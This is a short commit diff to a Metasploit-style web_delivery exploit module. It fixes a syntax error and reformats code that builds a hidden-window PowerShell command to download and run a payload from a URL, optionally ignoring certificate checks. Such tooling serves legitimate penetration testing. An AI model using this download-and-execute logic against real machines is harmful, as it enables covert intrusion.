fix my comments from rapid7#8933

Author: jmartin-tech

modules/exploits/multi/script/web_delivery.rb

@@ -163,16 +163,13 @@ def gen_psh(url, *method)
         file = %Q(echo (#{path}+'\\#{filename}'))
 
         # Generate download PowerShell command
-        download_string = Rex::Powershell::PshMethods.download_run(url, file})
+        download_string = Rex::Powershell::PshMethods.download_run(url, file)
       end
 
       download_and_run = "#{ignore_cert}#{download_string}"
 
       # Generate main PowerShell command
-      return generate_psh_command_line(noprofile: true,
-                                       windowstyle: 'hidden',
-                                       command: download_and_run
-                                     )
+      return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
   end